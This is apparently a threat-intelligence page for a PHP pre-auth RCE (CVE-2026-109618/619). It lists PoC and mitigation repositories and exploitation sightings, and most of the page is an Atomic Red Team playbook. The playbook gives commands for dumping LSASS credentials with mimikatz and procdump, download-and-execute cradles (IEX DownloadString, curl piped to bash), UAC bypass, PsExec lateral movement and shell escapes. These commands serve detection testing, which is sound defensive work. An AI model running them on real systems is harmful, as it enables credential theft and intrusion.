php2shell — CVE-2026-109618 / CVE-2026-109619 PoC | Pre-auth RCE in PHP session.upload_progress (CVSS 9.2)
|
Okymi-X | 0 | 0 | 2026-10-21 | View |
|
dogussekerci/php-upload-progress-mitigation
Interim hardening for CVE-2026-109618 / CVE-2026-109619: show, disable and re-enable PHP session.upload_progress on all ...
|
dogussekerci | 0 | 0 | 2026-10-21 | View |
|
1o-ya/php-cve-2026-109618-hotfix-guide
Emergency mitigation guide and snippets for PHP CVE-2026-109618 / CVE-2026-109619 (php2shell)
|
1o-ya | 0 | 0 | 2026-10-21 | View |
|
charindithjaindu/CVE-2026-109618
|
charindithjaindu | 0 | 0 | 2026-10-21 | View |
|
tommaru66-pixel/php2shell-poc-1
PHP Serializable var_hash UAF -> RCE (CVE-2026-109618/619): independent reproduction, 7.4-8.5 weaponization matrix, sess...
|
tommaru66-pixel | 0 | 0 | 2026-10-21 | View |
|
adriyansyah-mf/CVE-2026-109618-109619-PHP-session.upload_progress-Exploit-
|
adriyansyah-mf | 0 | 0 | 2026-10-21 | View |
|
Incerto-inc/php-vuln-check-2026-10
PHP の重大な脆弱性(CVE-2026-109618 / CVE-2026-109619)の確認の手順。読むだけで何も変更しない
|
Incerto-inc | 0 | 0 | 2026-10-21 | View |
|
fmdiscioglu/php-cve-2026-109618-checker
Non-destructive affected-version checker for CVE-2026-109618 (GHSA-w8hw-w9fx-j79w) PHP OOM/longjmp UAF
|
fmdiscioglu | 0 | 0 | 2026-10-21 | View |
|
rdwr-namikb/php2shell-cve-2026-109618-109619-lab
Local verification lab for CVE-2026-109618 / CVE-2026-109619 (php2shell): PHP 8.4.4 vs 8.4.27
|
rdwr-namikb | 0 | 0 | 2026-10-21 | View |
|
wind884/CVE-2026-109618-109619-PHP2Shell
CVE-2026-109618 / CVE-2026-109619 (PHP2Shell): PHP RCE source audit, request lifecycle analysis and upstream patch revie...
|
wind884 | 0 | 0 | 2026-10-21 | View |
Exploited in Wild
CONFIRMED
Ransomware
NOT ASSOCIATED
Attacker Interest
HIGH
Sightings
Extensive activity
Threat Feed
5 events
2026-10-22
Threat Sensor Sighting — Considerable activity
Sighting activity recorded
2026-10-21
Threat Sensor Sighting — Considerable activity
Sighting activity recorded
2026-10-20
Threat Sensor Sighting — Some sightings
Sighting activity recorded
2026-10-18
PoC Published (313 GitHub repositories)
Proof-of-concept code is publicly available for this vulnerability
Detected as Exploited in the Wild (132 sightings)
Active exploitation confirmed with 132 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Applicable
Out of scope
Target OS:
Deployed role: Linux · Web Server
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
Remote Code Execution
68%
rce
Race Condition
50%
race_condition
Use After Free
49%
use_after_free
Buffer Overflow
48%
buffer_overflow
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
No techniques for the selected OS
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
No tests for the selected OS
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
T1003.001
Create Mini Dump of LSASS.exe using ProcDump
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe
Upon successful execution, you should see the following file created...
Command (CMD)
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001
Dump LSASS with createdump.exe from .Net v5
Windows
PowerShell
Privileged
Use createdump executable from .NET to create an LSASS dump.
[Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell)
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001
Dump LSASS.exe Memory through Silent Process Exit
Windows
CMD
Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a
memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism
introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001
Dump LSASS.exe Memory using NanoDump
Windows
CMD
Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.
https://github.com/helpsystems/nanodump
Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001
Dump LSASS.exe Memory using Out-Minidump.ps1
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure
powershell implementation that leverages the MiniDumpWriteDump Win32 API call.
Upon successful execution, you should see the following file created...
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001
Dump LSASS.exe Memory using ProcDump
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump.
Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.
If you see a message saying "procdump.exe is...
Command (CMD)
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001
Dump LSASS.exe Memory using Windows Task Manager
Windows
Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task
Manager and administrative permissions.
T1003.001
Dump LSASS.exe Memory using comsvcs.dll
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.
Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell)
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001
Dump LSASS.exe Memory using direct system calls and API unhooking
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD)
"#{dumpert_exe}"
T1003.001
Dump LSASS.exe using imported Microsoft DLLs
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by
importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump
file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell)
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001
Dump LSASS.exe using lolbin rdrleakdiag.exe
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks.
This can be achieved with lolbin rdrleakdiag.exe.
Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell)
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001
LSASS read with pypykatz
Windows
CMD
Privileged
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::
Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.
Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD)
"#{venv_path}\Scripts\pypykatz" live lsa
T1003.001
Offline Credential Theft With Mimikatz
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with
Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD)
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001
Powershell Mimikatz
Windows
PowerShell
Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script.
If Mimikatz runs successfully you will see several usernames and hashes output to the screen.
Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell)
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002
Copy and Execute File with PsExec
Windows
CMD
Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD)
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
T1021.002
Execute command writing output to local Admin Share
Windows
CMD
Privileged
Executes a command, writing the output to a local Admin Share.
This technique is used by post-exploitation frameworks.
Command (CMD)
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002
Map Admin Share PowerShell
Windows
PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell)
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002
Map admin share
Windows
CMD
Connecting To Remote Shares
Command (CMD)
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1021.004
ESXi - Enable SSH via PowerCLI
Windows
PowerShell
Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004
ESXi - Enable SSH via VIM-CMD
Windows
CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049
System Discovery using SharpView
Windows
PowerShell
Privileged
Get a listing of network connections, domains, domain users, and etc.
sharpview.exe located in the bin folder, an opensource red-team tool.
Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049
System Network Connections Discovery
Windows
CMD
Get a listing of network connections.
Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires
elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049
System Network Connections Discovery FreeBSD, Linux & MacOS
Linux, macOS
Shell
Get a listing of network connections.
Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049
System Network Connections Discovery via PowerShell (Process Mapping)
Windows
PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
T1049
System Network Connections Discovery via sockstat (Linux, FreeBSD)
Linux
Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049
System Network Connections Discovery via ss or lsof (Linux/MacOS)
Linux, macOS
Bash
List active TCP/UDP network connections using ss, with lsof as a fallback
when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049
System Network Connections Discovery with PowerShell
Windows
PowerShell
Get a listing of network connections.
Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.001
ATHPowerShellCommandLineParameter -Command parameter variations
Windows
PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001
ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments
Windows
PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001
ATHPowerShellCommandLineParameter -EncodedCommand parameter variations
Windows
PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001
ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments
Windows
PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001
Abuse Nslookup with DNS Records
Windows
PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts.
[reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell)
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001
Invoke-AppPathBypass
Windows
CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened.
Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD)
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001
Mimikatz
Windows
PowerShell
Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (PowerShell)
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
T1059.001
Mimikatz - Cradlecraft PsSendKeys
Windows
PowerShell
Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell)
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001
NTFS Alternate Data Stream Access
Windows
PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell)
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001
PowerShell Command Execution
Windows
CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD)
powershell.exe -e #{obfuscated_code}
T1059.001
PowerShell Fileless Script Execution
Windows
PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that
art-marker.txt is in the folder.
Command (PowerShell)
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001
PowerShell Invoke Known Malicious Cmdlets
Windows
PowerShell
Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell)
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
T1059.001
PowerShell Session Creation and Use
Windows
PowerShell
Privileged
Connect to a remote powershell session and interact with the host.
Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell)
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001
PowerUp Invoke-AllChecks
Windows
PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001
Powershell Invoke-DownloadCradle
Windows
Manual
Provided by https://github.com/mgreen27/mgreen27.github.io
Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001
Powershell MsXml COM object - with prompt
Windows
CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed.
Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001
Powershell XML requests
Windows
CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed.
Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001
Powershell invoke mshta.exe download
Windows
CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!".
Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001
Run BloodHound from local disk
Windows
PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.
Successful...
Command (PowerShell)
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001
Run Bloodhound from Memory using Download Cradle
Windows
PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur.
Successful execution...
Command (PowerShell)
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001
SOAPHound - Build Cache
Windows
PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename.
src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001
SOAPHound - Dump BloodHound Data
Windows
PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory.
src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1059.004
Change login shell
Linux
Bash
Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004
Command line scripts
Linux
Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004
Command-Line Interface
Linux, macOS
Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.
Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004
Create and Execute Bash Shell Script
Linux, macOS
Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004
Creating shell using cpan command
Linux, macOS
Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell.
Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
T1059.004
Current kernel information enumeration
Linux
Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004
Detecting pipe-to-shell
Linux
Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004
Environment variable scripts
Linux
Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004
Harvest SUID executable files
Linux
Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004
LinEnum tool execution
Linux
Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004
New script file in the tmp directory
Linux
Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004
Obfuscated command line scripts
Linux
Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004
Shell Creation using awk command
Linux, macOS
Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command.
Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004
Shell Creation using busybox command
Linux
Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell.
Reference -...
Command (Shell)
busybox sh &
T1059.004
What shell is running
Linux
Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004
What shells are available
Linux
Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells
T1059.004
emacs spawning an interactive system shell
Linux, macOS
Shell
Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1087.002
Account Enumeration with LDAPDomainDump
Linux
Shell
This test uses LDAPDomainDump to perform account enumeration on a domain.
[Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell)
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002
Active Directory Domain Search
Linux
Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell)
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
